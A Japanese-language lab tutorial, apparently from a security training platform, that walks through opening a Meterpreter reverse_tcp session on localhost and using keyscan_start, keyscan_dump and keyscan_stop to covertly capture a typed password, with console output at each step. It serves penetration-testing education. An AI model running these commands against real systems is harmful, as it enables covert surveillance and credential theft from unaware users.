はじめに
この実験では、一般的なポストエクスプロイテーション技術であるキーストロークロギングを探求します。キーストロークロギング、または「キーロギング」とは、キーボードで打たれたキーを記録するプロセスであり、通常は秘密裏に行われるため、キーボードを使用している人は自分の行動が監視されていることに気づきません。ペネトレーションテストにおいて、この技術はユーザー名、パスワード、その他の機密情報などの機密情報を収集する上で非常に価値があります。
これを達成するために、Metasploit Framework の強力なペイロードである Meterpreter を使用します。Meterpreter には keyscan という組み込みモジュールがあり、攻撃者は侵害されたシステム上でキーロガーを簡単に開始、ダンプ、停止できます。この実験を通して、Meterpreter セッションの取得方法、キーロガーの展開、キーストロークのキャプチャ、そして痕跡の消去方法を学びます。
ターゲット上で Meterpreter セッションを取得する
このステップでは、Metasploit でリスナーを設定し、ペイロードを実行して Meterpreter セッションを取得します。この実験の目的のため、同じマシン上で攻撃者とターゲットの両方として動作します。payload.elf という名前のペイロードファイルは、~/project ディレクトリに既に作成されています。
まず、Metasploit Framework コンソールを起動しましょう。
msfconsole -q
msfconsole がロードされたら、ペイロードからの着信接続をリッスンするためのハンドラーを設定する必要があります。
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
次に、-j フラグを使用して、リスナーをバックグラウンドジョブとして実行します。
exploit -j
ハンドラーが開始されたことが表示されるはずです。
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
次に、ターミナルパネルの + アイコンをクリックして、新しいターミナルタブを開きます。この新しいタブで、ペイロードを実行します。
./payload.elf
msfconsole がある最初のターミナルタブに戻ります。Meterpreter セッションが開かれたことを示すメッセージが表示されるはずです。
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38908) at 2023-10-27 10:30:00 -0400
この新しいセッションと対話するには、sessions コマンドを使用します。
sessions -i 1
プロンプトが meterpreter> に変わり、ターゲットセッションを制御下に置いたことを示します。
[*] Starting interaction with 1...
meterpreter >
keyscan_start コマンドでキーストロークロガーを開始する
このステップでは、アクティブな Meterpreter セッションを使用して、ターゲットマシン上でキーストロークロガーを開始します。このためのコマンドは keyscan_start です。このコマンドは、ターゲットシステム上のプロセスにキーロガーを注入し、すべてのキーボード入力をキャプチャし始めます。
meterpreter> プロンプトが表示されていることを確認してください。次のコマンドを入力して Enter キーを押します。
keyscan_start
システムは、キーロガーが開始されたことを確認します。
Starting the keystroke sniffer...
ロガーは現在、ターゲットシステム上でバックグラウンドでサイレントに実行されており、押されたすべてのキーを記録しています。
ユーザーが情報を入力するのを待つ
このステップでは、ターゲットマシン上でユーザーが機密情報を入力するのをシミュレートします。キーロガーがアクティブになっているため、このアクティビティがキャプチャされます。
+ アイコンをクリックして、新しいターミナルタブを再度開きます。この新しいターミナルで、ユーザーがパスワードを入力するのをシミュレートします。任意のコマンドを入力できますが、この例では echo を使用して、秘密のパスワードを入力するのをシミュレートします。
echo "MySuperSecretPassword123"
コマンドを実行した後、この新しいターミナルタブを閉じることができます。echo "MySuperSecretPassword123" のキーストロークは、実行中のキーロガーによってキャプチャされました。Meterpreter セッションがアクティブになっているターミナルタブに戻ります。
keyscan_dump コマンドでキャプチャされたキーストロークをダンプする
このステップでは、ロガーによってキャプチャされたキーストロークを取得します。keyscan_dump コマンドは、ターゲットマシンから記録されたすべてのキーストロークを取得し、Meterpreter コンソールに表示します。
meterpreter> プロンプトで、次のコマンドを実行します。
keyscan_dump
ロガーが開始されてからキャプチャされたすべてのキーストロークの出力が表示されます。これには、前のステップで入力したコマンドも含まれます。
Dumping captured keystrokes...
echo "MySuperSecretPassword123"
ご覧のとおり、別のターミナルで入力したコマンドが正常にキャプチャされています。これにより、攻撃者がユーザーが入力した認証情報、コマンド、その他の機密テキストを盗む方法が実証されます。
keyscan_stop でキーストロークロガーを停止する
このステップでは、キーロガーを停止します。ペネトレーションテスターは、エンゲージメント後にアーティファクトをすべて削除し、実行中のプロセスを停止して、ターゲットシステムを元の状態に戻すことが重要です。
キーロガーを停止するには、Meterpreter セッションで keyscan_stop コマンドを使用します。
keyscan_stop
システムは、キーロガーが停止されたことを確認します。
Stopping the keystroke sniffer...
キーロガーはターゲットマシン上でアクティブではなくなりました。これで、exit を 2 回入力して、Meterpreter セッションと msfconsole を安全に終了できます。
まとめ
この実験では、Meterpreter を使用してターゲットシステムでキーストロークロギングを実行する方法を習得しました。セッションの確立からツールのクリーンアップまで、このポストエクスプロイテーション技術のライフサイクル全体を実践しました。
以下の方法を学びました。
- ハンドラーとペイロードを使用して Meterpreter セッションを確立する。
keyscan_startコマンドを使用してターゲット上でキーロガーを開始する。keyscan_dumpを使用してキャプチャされたキーストロークをダンプし、機密情報を表示する。keyscan_stopを使用してキーロガーを停止し、セッションをクリーンアップする。
これは、システムセキュリティと監視の重要性を浮き彫りにする強力な技術です。これらのスキルを責任を持って倫理的に使用することを忘れないでください。実験の完了おめでとうございます!


